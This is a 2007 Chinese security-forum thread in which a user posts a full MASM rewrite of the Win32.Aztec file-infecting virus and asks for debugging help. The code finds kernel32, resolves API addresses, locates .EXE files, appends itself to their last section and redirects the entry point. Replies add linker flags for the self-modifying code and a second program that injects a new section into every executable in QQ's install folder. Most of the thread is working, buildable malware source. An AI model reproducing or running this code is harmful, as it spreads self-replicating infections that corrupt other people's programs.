首页
社区
课程
招聘
[讨论]学习Billy Belceb病毒编写教程后改写成masm格式
发表于: 2007-2-1 00:31 5769

[讨论]学习Billy Belceb病毒编写教程后改写成masm格式

2007-2-1 00:31
5769
申明:因为一开始学就用的masm32,而原病毒是tasm编译的,为了熟悉WIN32汇编才实践学习了一下,和原病毒作者一样没有恶意。
附件可在下面连接下载

http://bestbbs.5d6d.com/viewthread.php?tid=29&page=1&extra=page%3D1#pid37


现在改写后的病毒能感染当前目录的文件了,
不过好象我还没完全弄彻底,希望高手能指教一下,点运行后什么都没输出就完了,然后感染完成了,还有一些细节问题我还没吃透,因为想尽快完工,还是先帖上来,大家看看有什么问题?我以自己的理解加了些自己的注释,可能比较乱了。见谅^_^!
;=========================
;     modified by gnuser
;     Thank for the clear person
;=========================
.486p
.model flat, stdcall
option casemap :none   ; case sensitive

include                user32.inc
includelib         user32.lib
include                kernel32.inc
includelib        kernel32.lib


GetK32                proto        stdcall
GetAPIs                proto        stdcall
GetAPI                proto        stdcall
OpenTheFile        proto        stdcall
CreateMap         proto        stdcall


virus_size        equ        (offset virus_end-offset virus_start)
heap_size        equ        (offset heap_end-offset heap_start)
total_zie        equ        virus_size+heap_size
shit_size       equ     (offset delta-offset aztec)



.data
szTitle                db        "aztec",0
szMessage        db        "shit shit shit",0
kernel          dd      kernel_
kernel_         equ     0BFF70000h        ;存放kernel32基址
kernel_wNT      equ     077F00000h



.code

virus_start        label        byte
aztec:
        pushad                                  ; Push 所有寄存器
        pushfd                                  ; Push FLAG 寄存器

        call    delta                           ; 最难理解的代码 ;)
delta:  
        pop     ebp
        mov     eax,ebp
        sub     ebp,offset delta
        sub     eax,shit_size                   ; Obtain the Image Base
        sub     eax,00001000h

NewEIP  equ     $-4
        mov     dword ptr [ebp+ModBase],eax
        
        mov     esi,[esp+24h]                   ; 获得程序返回地址
        and     esi,0FFFF0000h   
        mov        ecx,5
        call        GetK32                                ;获得kernel32的基址
;--------------------------------------------------------------------       
        mov        dword ptr [ebp+kernel],eax
        lea        edi,[ebp+@@Offsetz]        ;存放地址
        lea        esi,[ebp+@@Namez]        ;函数名
        call        GetAPIs                        ;找到各个函数地址
        call        PrepareInfection       
        call        InfectItAll
;--------------------------------------------------------------------
        xchg        ebp,ecx                ;是不是第一次产生?
        .if        ecx==0
        call        fakehost
        .endif
        popfd
        popad
        mov        eax,12345678h
        
        org     $-4
OldEIP  dd      00001000h
        
        add        eax,12345678h
        org     $-4
ModBase dd      00400000h
       
        jmp        eax
        ret
       
;--------------------------------------------------------
PrepareInfection:
        ;lea        edi,[ebp+WindowsDir]        ;指向第一个地址
        ;push        7fh                        ;大小
        ;push        edi                        ;地址
        ;call        [ebp+_GetWindowsDirectoryA];获取windows目录
       
        ;add        edi,7fh                ;第二个目录
        ;push        7fh                ;大小
        ;push        edi                ;地址
        ;call        [ebp+_GetSystemDirectoryA]        ;获取windows\system目录
       
        lea        edi,[ebp+OriginDir]        ;第三个目录
        push        edi                ;缓存地址压栈
        push        7fh                ;大小
        call        [ebp+_GetCurrentDirectoryA];获取当前目录
        ret
;---------------------------------------------------------       
       
InfectItAll:
        lea        edi,[ebp+directories]        ;指向第一个目录
        mov        byte ptr [ebp+mirrormirror],01h        ;计数
requiem:
        push        edi        ;设置第一个目录,即改为windows目录
        call        [ebp+_SetCurrentDirectoryA]
        push        edi        ;保存
        call        Infect
        pop        edi       
        add        edi,7fh        ;下一个目录
        dec        byte ptr [ebp+mirrormirror]
        jnz        requiem
        ret
Infect:
;------------------------------------------------------
        and        dword ptr [ebp+infections],00000000h        ;清楚计数器
        lea        eax,[ebp+offset WIN32_FIND_DATAs]        ;WFD结构       
        push        eax        ;下面的call后的 返回信息
        lea        eax,[ebp+offset EXE_MASK]        ;文件名
        push        eax
        call        [ebp+_FindFirstFileA]
;-------------------------------------------------------
        inc        eax        ;检查返回值,-1失败
        jz        FailInfect
        dec        eax
       
        mov        dword ptr [ebp+SearchHandle],eax ;保存搜索句柄

;---------------------------------------------------------
__1:
        push        dword ptr [ebp+OldEIP]        ;保存OldEIP和ModBase
        push        dword ptr [ebp+ModBase]        ;感染时改变
       
        call        Infection       
       
        pop         dword ptr [ebp+ModBase]
        pop        dword ptr [ebp+OldEIP]
;----------------------------------------------------------       
        inc        byte ptr [ebp+infections]
        cmp        byte ptr [ebp+infections],05h        ;检查是否超过5个文件
        jz        FailInfect
__2:       
        lea         edi,[ebp+WFD_szFileName]
        mov        ecx,MAX_PATHs
        xor        al,al
        rep        stosb
        lea        eax,[ebp+offset WIN32_FIND_DATAs]
        push        eax
        push        dword ptr [ebp+SearchHandle]
        call        [ebp+_FindNextFileA]
        or        eax,eax
        jnz        __1
CloseSearchHandle:
        push        dword ptr [ebp+SearchHandle]
        call        [ebp+_FindClose]
FailInfect:
        ret
;---------------------------------------------------------------
Infection:
        lea        esi,[ebp+WFD_szFileName]        ;获得要感染的文件名
        push        80h        ;FILE_ATTRIBUTE_NORMAL
        push        esi
        call        [ebp+_SetFileAttributesA]        ;清除其属性
        call        OpenTheFile
;----------------------------------------------------------------
        inc        eax        ;检查是否成功
        jz        CantOpen
        dec        eax

        mov        dword ptr [ebp+FileHandle],eax        ;保存打开文件句柄
        mov        ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call        CreateMap        ;创建映射
;-----------------------------------------------------------------       
        or        eax,eax
        jz         CloseFile
;-----------------------------------------------------------------       
        mov        dword ptr [ebp+MapHandle],eax        ;保存映射句柄
       
        mov        ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call        MapFile        ;映射
        or         eax,eax
        jz        UnMapFile       
        mov        dword ptr [ebp+MapAddress],eax
;------------------------------------------------------------------
        mov        esi,[eax+3ch]        ;现在EAX是基址,加上3C就是PE头地址
        add        esi,eax
        cmp        dword ptr [esi],"EP"
        jnz        NoInfect
       
        cmp        dword ptr [esi+4ch],"CTZA"  ;检查是否已被感染
        jz        NoInfect
       
        push        dword ptr [esi+3ch]        ;FileAlignment
        push        dword ptr [ebp+MapAddress]       
        call        [ebp+_UnmapViewOfFile]        ;关闭所有
       
        push        dword ptr [ebp+MapHandle]
        call        [ebp+_CloseHandle]
       
        pop        ecx        ;得到文件对齐
;---------------------------------------------------------
        mov        eax,dword ptr [ebp+WFD_nFileSizeLow]        ;再次映射
        add        eax,virus_size
       
        call        Alignment        ;对齐文件
        xchg        ecx,eax
       
        call        CreateMap        ;对齐后再创建映射
        or        eax,eax
        jz        CloseFile
       
        mov        dword ptr [ebp+MapHandle],eax
;-----------------------------------------------------------       
        mov     ecx,dword ptr [ebp+NewSize] ;?????
        call        MapFile
        or        eax,eax
        jz        UnMapFile
       
        mov        dword ptr [ebp+MapAddress],eax
;------------------------------------------------------------

        mov        esi,[eax+3ch]        ;指向PE头
        add        esi,eax
       
        mov        edi,esi
        movzx        eax,word ptr [edi+06h] ;节点数
        dec        eax
        imul        eax,eax,28h        ;乘以节头大小
        add        esi,eax
        add        esi,78h        ;再加上节头前面的头大小
        mov        edx,[edi+74h] ;   Number Of Rva And Sizes
        shl        edx,3
        add        esi,edx        ;指向最后一节
;------------------------------------------------------       
        mov        eax,[edi+28h]        ;  Address Of Entry Point  
        mov        dword ptr [ebp+OldEIP],eax        ;保存
        mov        eax,[edi+34h]        ;  Image Base  
        mov        dword ptr [ebp+ModBase],eax ;保存
        ;现在ESI指向的是最后个节表头,EDI指向PE头
        mov        edx,[esi+10h]        ; Size Of Raw Data
        mov        ebx,edx               
        add        edx,[esi+14h]        ; Pointer To Raw Data  
        push        edx
        mov        eax,ebx               
        add        eax,[esi+0ch]        ;Virtual Address
       
       
        mov        [edi+28h],eax        ;改变EAX为新的EIP
        mov        dword ptr [ebp+NewEIP],eax
;------------------------------------------------------       
        mov        eax,[esi+10h]        ;加上病毒大小后对齐
        add        eax,virus_size
        mov        ecx,[edi+3ch]
        call        Alignment
       
        mov        [esi+10h],eax         ;新的SizwOfRawData
        mov        [esi+08h],eax        ;新的Virtual Size
       
        pop        edx         ; EDX = 指向节尾的原始指针
       
        mov        eax,[esi+10h]
        add        eax,[esi+0ch]
        mov        [edi+50h],eax ;新的Size Of Headers
       
        or        dword ptr [esi+24h],0a0000020h ;  Characteristics
;-------------------------------------------------------------------       
        mov        dword ptr [edi+4ch],"CTZA"
        lea        esi,[ebp+aztec]         ; ESI = 指向 virus_start 的指针
        xchg        edi,edx                 ; EDI = 指向最后一节结尾的指针
        add        edi,dword ptr [ebp+MapAddress]
        mov        ecx,virus_size
        rep        movsb
       
        jmp        UnMapFile
;--------------------------------------------------------------------
NoInfect:
        dec        byte ptr [ebp+infections]
        mov        ecx,dword ptr [ebp+WFD_nFileSizeLow]
        call        TruncFile
;---------------------------------------------------------------------
UnMapFile:
        push        dword ptr [ebp+MapAddress]
        call        [ebp+_UnmapViewOfFile]
CloseMap:
        push        dword ptr [ebp+MapHandle]
        call        [ebp+_CloseHandle]
CloseFile:
        push        dword ptr [ebp+FileHandle]
        call        [ebp+_CloseHandle]
CantOpen:
        push        dword ptr [ebp+WFD_dwFileAttributes]
        lea        eax,[ebp+WFD_szFileName]        ;还原属性
        push        eax
        call        [ebp+_SetFileAttributesA]
        ret
;-----------------------------------------------------------------------
fakehost:
        assume        fs:nothing
        pop        dword ptr fs:[0]
        add        esp,4
        popad
        popfd
        xor        eax,eax
        push        eax
        push        offset szTitle
        push        offset szMessage
        push        eax
        call        MessageBoxA
        push        00h
        call        ExitProcess

;===================================================
;        Alignment
;===================================================
Alignment        proc
       
        push        edx
        xor        edx,edx
        push        eax
        div        ecx
        pop        eax
        sub        ecx,edx
        add        eax,ecx
        pop        edx
        ret

Alignment endp
;====================================================
;        TruncFile
;输入:
;        ECX  - 要截的文件
;输出:        无
;====================================================
TruncFile        proc
       
        xor        eax,eax
        push        eax
        push        eax
        push        ecx
        push        dword ptr [ebp+FileHandle]
        call        [ebp+_SetFilePointer]
       
        push        dword ptr [ebp+FileHandle]
        call        [ebp+_SetEndOfFile]
       
        ret

TruncFile endp
;=========================================================
;        Create Map
;        ECX dwMaximumSizeLow
;=========================================================
CreateMap       proc
        xor     eax,eax
        push    eax
        push    ecx
        push    eax
        push    00000004h ; PAGE_READWRITE    = 00000004h
        push    eax
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_CreateFileMappingA]
        ret
CreateMap       endp
;=========================================================
;        MapFile
;input:
;        ECX- Size to map
;output:
;        EAX-MapAddress if succesful
;=========================================================       
MapFile        proc
       
        xor        eax,eax
        push        ecx       
        push        eax
        push        eax
        push        00000002h ;FILE_MAP_WRITE    = 00000002h
        push        dword ptr [ebp+MapHandle]
        call        [ebp+_MapViewOfFile]
        ret

MapFile endp
;=========================================================
;        Open the File
;=========================================================
OpenTheFile        proc
        xor     eax,eax
        push    eax        ;hTemplateFile
        push    eax        ;dwFlagsAndAttributes
        push    00000003h  ;dwCreationDistribution ;OPEN_EXISTING     = 03h
        push    eax        ;lpSecurityAttributes
        inc     eax       
        push    eax        ;dwShareMode ;FILE_SHARE_READ   = 01h
        push    80000000h or 40000000h        ;dwDesiredAccess ;GENERIC_READ      = 80000000h ;GENERIC_WRITE     = 40000000h
        push    esi ;lpFileName
        call    [ebp+_CreateFileA]
        ret
OpenTheFile        endp
;=========================================================
; 输入:  ESI : 指向想要得到的第一个API名字ASCII码的首地址         
;        EDI : 指向将要保存的想要得到第一个API的变量
; 输出:  无。
;=========================================================
GetAPIs         proc
@@1:    push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi

        stosd        ;保存函数VA到变量中

        xchg    edi,esi

        xor     al,al
@@2:    scasb
        jnz     @@2

        xchg    edi,esi

@@3:    cmp     byte ptr [esi],0BBh        ;是否结束?
        jnz     @@1

        ret
GetAPIs         endp
;=================================================
; 输入:   ESI : 指向API名字的指针 (区分大小写)                 
; 输出:   EAX : API 地址  
; 注意:    lodsd 在执行完后会esi+4  注意注意注意十分要注意!!!!
;=================================================
GetAPI          proc
        mov     edx,esi
        mov     edi,esi

        xor     al,al
@_1:   
        scasb        ;比较AL 和ES:[DI]并DI+1和设置标志位
        jnz     @_1 ;检测是否结束

        sub     edi,esi                         ; EDI = API 的名字大小
        mov     ecx,edi        ;ECX保存函数名大小

        xor     eax,eax
        mov     esi,3Ch                ;e_lfanew
        add     esi,[ebp+kernel]
        lodsw        ;EAX是PE header(RVA)
        add     eax,[ebp+kernel]

        mov     esi,[eax+78h]        ;IMAGE_EXPORT_DIRECTORY(输出表)
        add        esi,[ebp+kernel] ;Ptr to Address Table RVA
        add     esi,1Ch        ;AddressOfFunction(引出函数地址表首指针)
        lodsd                                   ; EAX = Address Table RVA
;----------------------------------------------------------------     
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+AddressTableVA],eax ; Store it in VA form

        lodsd                                   ; EAX = Name Ptrz Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; mov [ebp+NameTableVA],eax
        mov        dword ptr [ebp+NameTableVA],eax
;============================
;此段代码与上面段实现功能一样,只是我觉得上面那段还是更好理解一点
       ; add     esi,[ebp+kernel]

       ; lea     edi,[ebp+AddressTableVA] ;AddressTableVA变量地址放EDI
        
        ;lodsd        ;引出函数表第一个函数地址值放入EAX(RVA)
       ; add     eax,[ebp+kernel] ;VA
       ; stosd        ;放入AddressTableVA,eax store in ES:[EDI],执行后EDI+2
       ; lodsd        ;得到EAX =Name Table RVA
       ; add     eax,[ebp+kernel]
       ; push    eax                             ; mov [NameTableVA],eax   =)
       ;stosd

       ; lodsd        ;EAX = Ordinal Table RVA
       ; add     eax,[ebp+kernel]
  ;---------------------------------------------------------------------------------
       
        lodsd                                   ; EAX = Ordinal Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

        pop     esi                             ; ESI = Name Ptrz Table VA

        xor     ebx,ebx

@_3:    lodsd        ;执行一次后esi+4,即指向下一个函数名地址
        push    esi  ;save   
        add     eax,[ebp+kernel]
        mov     esi,eax ;VA of API name
        mov     edi,edx ;ptr to wanted API
        push    ecx       
        cld
        repe        cmpsb
        pop     ecx
        jz      @_4
        pop     esi
        inc     ebx ;计数
        jmp     @_3              

@_4:
        pop     esi        ;恢复
        xchg    eax,ebx
        shl     eax,1 ;函数计数乘以2
        add     eax,dword ptr [ebp+OrdinalTableVA] ;序数表基址加上序数值
        xor     esi,esi
        xchg    eax,esi ;此时eax=0,esi为
        lodsw        ;得到了真正的序数了
        shl     eax,2 ;乘以4
        add     eax,dword ptr [ebp+AddressTableVA] ;去找存放函数RVA地址的地址了
        mov     esi,eax
        lodsd         ;得到地址的VA了  
        add     eax,[ebp+kernel]
        ret
GetAPI          endp
GetK32          proc
_@1:    cmp     word ptr [esi],"ZM"
        jz      WeGotK32
_@2:    sub     esi,10000h
        loop    _@1
WeFailed:
        mov     ecx,cs
        xor     cl,cl
        jecxz   WeAreInWNT
        mov     esi,kernel_
        jmp     WeGotK32
WeAreInWNT:
        mov     esi,kernel_wNT
WeGotK32:
        xchg    eax,esi
        ret
GetK32          endp
;-----------------------------------------------------------

mark_   db      "[Win32.Aztec v1.01]",0
        db      "(c) 1999 Billy Belcebu/iKX",0
infections              dd      00000000h
EXE_MASK                db      "*.EXE",0

@@Namez                 label   byte
@FindFirstFileA         db      "FindFirstFileA",0
@FindNextFileA          db      "FindNextFileA",0
@FindClose              db      "FindClose",0
@CreateFileA            db      "CreateFileA",0
@SetFilePointer         db      "SetFilePointer",0
@SetFileAttributesA     db      "SetFileAttributesA",0
@CloseHandle            db      "CloseHandle",0
@GetCurrentDirectoryA   db      "GetCurrentDirectoryA",0
@SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0
@GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0
@GetSystemDirectoryA    db      "GetSystemDirectoryA",0
@CreateFileMappingA     db      "CreateFileMappingA",0
@MapViewOfFile          db      "MapViewOfFile",0
@UnmapViewOfFile        db      "UnmapViewOfFile",0
@SetEndOfFile           db      "SetEndOfFile",0
                        db      0BBh
                        align        dword
virus_end        label        byte
heap_start        label        byte
                        dd      00000000h

NewSize                 dd      00000000h
SearchHandle            dd      00000000h
FileHandle              dd      00000000h
MapHandle               dd      00000000h
MapAddress              dd      00000000h
AddressTableVA          dd      00000000h
NameTableVA             dd      00000000h
OrdinalTableVA          dd      00000000h

@@Offsetz               label   byte
_FindFirstFileA         dd      00000000h
_FindNextFileA          dd      00000000h
_FindClose              dd      00000000h
_CreateFileA            dd      00000000h
_SetFilePointer         dd      00000000h
_SetFileAttributesA     dd      00000000h
_CloseHandle            dd      00000000h
_GetCurrentDirectoryA   dd      00000000h
_SetCurrentDirectoryA   dd      00000000h
_GetWindowsDirectoryA   dd      00000000h
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile          dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile           dd      00000000h       
MAX_PATHs                equ     260  ;<-- 路径的最大大小
  
FILETIMEs                STRUC        ;<-- 处理时间的结构,在很多Win32
FT_dwLowDateTime        dd      ?        ;结构中都有
FT_dwHighDateTime       dd      ?   
FILETIMEs                ENDS
  
WIN32_FIND_DATAs         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIMEs <>
WFD_ftLastAccessTime    FILETIMEs <>
WFD_ftLastWriteTime     FILETIMEs <>
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATHs dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

directories             label   byte

;WindowsDir              db      7Fh dup (00h)
;SystemDir               db      7Fh dup (00h)
OriginDir               db      7Fh dup (00h)
dirs2inf                equ     (($-directories)/7Fh)
mirrormirror            db      dirs2inf
heap_end        label        byte
                               
end aztec  


希望明天能通过调试理解完全   

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 237
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
忘说这事了,高手略过。

link的时候记得

link /subsystem:windows /section:.text,RWE *.asm

因为病毒会SMC(自修改一些数据)
2007-2-1 01:00
0
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
call    delta                           ; 最难理解的代码 ;)

call指令就是调用函数,系统会自动保存堆线,我们可以由EBP得到正确的变量的偏移.
2007-2-1 16:35
0
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
不过传播完整病毒代码真的好危险啊.
2007-2-1 16:36
0
雪    币: 45
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
按道理这个病毒代码应该很容易理解啊
2007-2-1 17:07
0
雪    币: 237
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
我跟到MESSAGEBOXA就提示异常了,但直接运行并没异常,也没执行MESSAGEBOXA出来.

  此病毒原代码经修改并无太大威胁,只是感染病毒所在目录的PE文件,只为更好理解PE和熟悉WIN32汇编.

  谁帮着跟一下,看是什么原因?
2007-2-1 18:56
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
7
修改了一下老罗的代码:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
include  advapi32.inc
includelib advapi32.lib

WndProc          proto :DWORD, :DWORD, :DWORD, :DWORD
AddNewSection    proto :DWORD

;很有用的宏:
CTEXT    MACRO y:VARARG
    LOCAL sym
    CONST segment
    ifidni <y>,<>            
        sym db 0        
    else            
        sym db y,0
    endif
    CONST ends
    exitm <offset sym>
ENDM

.const
MAXSIZE          equ    260
Head_Len         equ    sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER

.data
szRegKey   db  'SOFTWARE/TENCENT/QQ',0
szKey db 'Install',0 ;键值名称
szStr1    dd REG_SZ ;数据
FileNamePattern  db "*.exe",0

ofn              OPENFILENAME    <>
FileNameOfQQ       db  256 dup(0)
PE_Header        IMAGE_NT_HEADERS    <0>
My_Section       IMAGE_SECTION_HEADER    <>
szDllName        db    "User32", 0
szMessageBoxA    db    "MessageBoxA", 0
FileName db 256 dup(0)
szFile db 256 dup(0)

.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FillFileInfo proc uses edi
  LOCAL finddata:WIN32_FIND_DATA
  LOCAL hFindFile:DWORD
  
  invoke FindFirstFile,addr szFile,addr finddata
  .if eax!=INVALID_HANDLE_VALUE
    mov hFindFile,eax
    .repeat      
        invoke RtlZeroMemory,addr FileNameOfQQ,sizeof FileNameOfQQ
        invoke lstrcat,addr FileNameOfQQ,addr FileName
        lea eax,finddata.cFileName  
        invoke lstrcat,addr FileNameOfQQ,eax
        call _AddNewSection
  invoke FindNextFile,hFindFile,addr finddata
    .until  eax ==  FALSE  
    invoke FindClose,hFindFile
    .endif
  ret
FillFileInfo endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_QueryKey proc _lpKey
   LOCAL hKey     :DWORD
   LOCAL BufSize  :DWORD
     invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr szRegKey,NULL, KEY_QUERY_VALUE,addr hKey
     .if eax == ERROR_SUCCESS
invoke RegQueryValueEx,hKey,addr szKey,NULL,NULL,addr FileName,addr BufSize
   .if eax == ERROR_SUCCESS
   invoke lstrcat,addr szFile,addr FileName
   invoke lstrcat,addr szFile,addr FileNamePattern
invoke RegCloseKey,hKey
.endif
.endif
ret
_QueryKey        endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
main:
    call _QueryKey
    call FillFileInfo
    invoke ExitProcess,NULL
_AddNewSection proc
    LOCAL hFile: HANDLE
    LOCAL dwPE_Header_OffSet: DWORD
    LOCAL dwFileReadWritten: DWORD
    LOCAL dwMySectionOffSet: DWORD
    LOCAL dwLastSection_SizeOfRawData: DWORD
    LOCAL dwLastSection_PointerToRawData: DWORD

    ;打开文件:
    invoke CreateFile, addr FileNameOfQQ, GENERIC_READ or GENERIC_WRITE,/
            FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax != INVALID_HANDLE_VALUE
    mov hFile, eax
    ;****************************************
    ;读取PE文件头:
    ;****************************************
    invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
    invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
    invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
    invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL

    ;****************************************
    ;判断是否有效的PE文件,是的话才继续:
    ;****************************************
    .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
        ;如果不是有效的PE文件,就给出提示:
        invoke CloseHandle,hFile
    .endif

    ;****************************************
    ;判断是否有足够空间存储新节:
    ;****************************************
    movzx eax, [PE_Header.FileHeader.NumberOfSections]    ;得到添加新节前有多少个节:
    mov ecx, 28h    ;28h = sizeof IMAGE_SECTION_HEADER
    mul ecx         ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
    add eax, dwPE_Header_OffSet    ;eax = eax + PE文件头偏移
    add eax, 18h    ;18h = sizeof IMAGE_FILE_HEADER
    movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
    add eax, ecx    ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
    add eax, 28h    ;添加一个新节的大小
    .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
    invoke CloseHandle,hFile
    .endif

    ;****************************************
    ;保存原入口,后面要用到:
    ;****************************************
    mov eax, [PE_Header.OptionalHeader.AddressOfEntryPoint]
    mov Old_AddressOfEntryPoint, eax
    mov eax, [PE_Header.OptionalHeader.ImageBase]
    mov Old_ImageBase, eax

    ;**************************************************
    ;计算新节的偏移地址:
    ;(其实跟上面的“判断是否有足够空间存储新节”基本上一样)
    ;**************************************************
    movzx eax, [PE_Header.FileHeader.NumberOfSections]
    mov ecx, 28h
    mul ecx            ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
    add eax, 4h        ;4h = sizeof "PE/0/0"
    add eax, dwPE_Header_OffSet
    add eax, sizeof IMAGE_FILE_HEADER
    add eax, sizeof IMAGE_OPTIONAL_HEADER
    mov dwMySectionOffSet, eax    ;现在得到了我们的新节的偏移地址

    ;****************************************
    ;填充我们自己的节的信息:
    ;(这部分请查看PE格式,很容易明白,不多说了)
    ;****************************************
    mov dword ptr [My_Section.Name1], "MSA."    ;名字就叫做“.ASM”吧,呵呵……
    mov [My_Section.Misc.VirtualSize], offset vEnd - offset vStart
    push [PE_Header.OptionalHeader.SizeOfImage]
    pop [My_Section.VirtualAddress]
    mov eax, [My_Section.Misc.VirtualSize]
    mov ecx, [PE_Header.OptionalHeader.FileAlignment]
    cdq
    div ecx
    inc eax
    mul ecx
    mov [My_Section.SizeOfRawData], eax  ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
    mov eax, dwMySectionOffSet
    sub eax, 18h    ;这个偏移是定位到最后一节的“SizeOfRawData”
    invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
    invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
    invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
    ;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
    mov eax, dwLastSection_SizeOfRawData
    add eax, dwLastSection_PointerToRawData
    mov [My_Section.PointerToRawData], eax
    mov [My_Section.PointerToRelocations], 0h
    mov [My_Section.PointerToLinenumbers], 0h
    mov [My_Section.NumberOfRelocations], 0h
    mov [My_Section.NumberOfLinenumbers], 0h
    mov [My_Section.Characteristics],0E0000020h    ;可读可写可执行

    ;**************************************************
    ;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
    ;**************************************************
    invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
    invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

    ;****************************************
    ;得到 MessageBoxA 的线性地址:
    ;****************************************
    invoke GetModuleHandle, addr szDllName
    invoke LoadLibrary, addr szDllName
    invoke GetProcAddress, eax, addr szMessageBoxA
    mov MessageBoxA_Addr, eax

    ;****************************************
    ;在文件的最后写入我们的新节:
    ;****************************************
    invoke SetFilePointer, hFile, 0, 0, FILE_END
    push 0
    lea eax, dwFileReadWritten
    push eax
    push [My_Section.SizeOfRawData]
    lea eax, vStart
    push eax
    push hFile
    call WriteFile

    ;**************************************************
    ;改写IMAGE_NT_HEADERS,使新节可以首先执行:
    ;(需要改写 SizeOfImage 和 AddressOfEntryPoint)
    ;**************************************************
    inc [PE_Header.FileHeader.NumberOfSections]
    mov eax, [My_Section.Misc.VirtualSize]
    mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
    cdq
    div ecx
    inc eax
    mul ecx
    add eax, [PE_Header.OptionalHeader.SizeOfImage]
    mov [PE_Header.OptionalHeader.SizeOfImage], eax    ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
    mov eax, [My_Section.VirtualAddress]
    mov [PE_Header.OptionalHeader.AddressOfEntryPoint], eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令
    invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
    invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL

    ;****************************************
    ;完成!显示成功信息:
    ;****************************************
    invoke CloseHandle,hFile
.endif
Err_CreateFile_Exit:
    ret
_AddNewSection endp
;****************************************
;呵呵,我们自己的东东:(像不像病毒?)
;****************************************
vStart:
    call nStart
nStart:
    pop ebp
    sub ebp, offset nStart    ;得到新节在文件中的实际偏移地址

    ;显示对话框:
    push MB_OK or MB_ICONINFORMATION
    lea eax, szMyCaption[ebp]
    push eax
    lea eax, szMyMsg[ebp]
    push eax
    push 0
    call MessageBoxA_Addr[ebp]

    ;恢复原入口地址。当这个节执行完毕后,就回到了原来的文件入口处继续执行:
    mov eax, Old_ImageBase[ebp]
    add eax, Old_AddressOfEntryPoint[ebp]
    push eax
    ret

    ;变量定义:
    MessageBoxA_Addr        dd    0
    szMyMsg                 db    "看贴不回帖的人木JJ ^_^", 13, 10, 13, 10,/
                                  "by asm",13, 10, "http://www.wolfexp.net",0
    szMyCaption             db    "谁木JJ", 0
    Old_ImageBase           dd    0
    Old_AddressOfEntryPoint dd    0
vEnd:

end main
2007-2-1 20:21
0
雪    币: 146
活跃值: (33)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
8
增加个病毒技术版面不错
2007-2-4 22:27
0
游客
登录 | 注册 方可回帖
返回
//